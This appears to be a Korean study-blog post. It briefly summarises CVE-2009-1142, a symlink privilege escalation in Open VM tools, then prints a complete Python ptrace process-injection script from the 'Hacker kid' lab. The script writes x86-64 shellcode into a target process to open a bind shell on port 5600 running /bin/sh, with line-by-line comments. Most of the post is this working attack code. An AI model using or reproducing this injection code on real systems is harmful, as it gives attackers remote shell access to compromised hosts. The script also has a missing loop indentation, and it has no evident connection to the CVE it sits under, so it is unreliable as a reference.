CVE-2009-1142

만두다섯개·2024년 5월 7일

취약점 공부

목록 보기
1/2
post-thumbnail

발생은 2009년 03월 18일, Open VM 장비에서 발견.
로컬 사용자가 /tmp내 파일의 심볼릭 공격을 통해 권한을 얻을 수 있다.
조건 : VMware 사용자 suid wraaper가 setuid root 및 디렉터리 소유권한 기능 허용.

inferences : 추론
Weakness Enumeration : 약점 열거

Hacker kid 실습 사용 인젝션 코드

import ctypes
import sys
import struct

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6") 
# 파이썬에서 C언어 라이브러리 “libc.so.6” 로드 (리눅스 시스템 C 표준 라이브러리)
# ctypes 는 파이썬 내장 모듈

pid=int(sys.argv[1])
# Define argument type and respone type.

# libc.ptrace.argtypes =[ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
# argtypes은 ctypes 속성으로 []의 4가지 인자를 ptrace 함수의 매개변수 타입지정

libc.ptrace.restype = ctypes.c_uint64
# restype 속성 : 함수 반환 값 데이터 타입 지정 
# ctypes.c_uint64 : 64비트 부호 없는 정수
# ctypes.c_void_p : 포인터(특정 데이터 메모리 주소)
# C 라이브러리 함수인 ptrace의 인자 및 반환 타입 지정.

libc.ptrace(PTRACE_ATTACH, pid, None, None)
# ptrace 함수 호출로 대상(pid)을 추적(attach).

registers=user_regs_struct()
# user_regs_struct 클래스 생성자 호출

libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
# ptrace 함수 호출로 대상(pid)의 프로세스 레지스터 값을 읽는다(getregs)
# ctypes.byref(registers)는 registers 객체를 가르키는 포인터 생성. 
# ptrace 함수 실행 결과 : pid 프로세스 레지스터 값을 읽어 registers 객체에 저장.

print("Instruction Pointer: " + hex(registers.rip))
# rip : x86 아키텍처의 명령 포인터(Register Instruction Pointer)의 약어
print("Injecting Shellcode at: " + hex(registers.rip))
# rip을 변경하면 CPU가 변경된 다음 실행할 명령어 주소에서 명령어를 가져와 실행. 

shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# 쉘코드를 4바이트씩 분할해 리틀엔디안으로 변환. 이는 레지스트리 값 변경에 사용
for i in range(0,len(shellcode),4):
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
# i = 0, (\x48\x31\xc0\x48)을 16진수로 엔코딩 후 integer 변경.
# I : unsigned int 형식으로, 리틀 엔디안 형식으로 패킹의미.
  # .rstrip('\x00') : 바이트 문자열 끝이 널('\x00')이면 제거, 아니면 무시
shellcode_byte=int(shellcode_byte_little_endian,16)
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
# 리틀 엔디안 형식으로 패킹된 쉘 코드를 rip+i 단위로 쓴다(POKETEXT).

print("Shellcode Injected!!")

registers.rip=registers.rip+2
# 명령 포인터를 조정해 쉘 코드가 프로세스의 실행 흐름에 영향을 미치지 않도록 한다.

libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
# ptrace 함수를 사용해 pid를 가진 프로세스의 레지스터 값을 설정(SETREGS).

print("Final Instruction Pointer: " + hex(registers.rip))

libc.ptrace(PTRACE_DETACH, pid, None, None)
# ptrace 함수로 해제(detach).
profile
磨斧爲針

0개의 댓글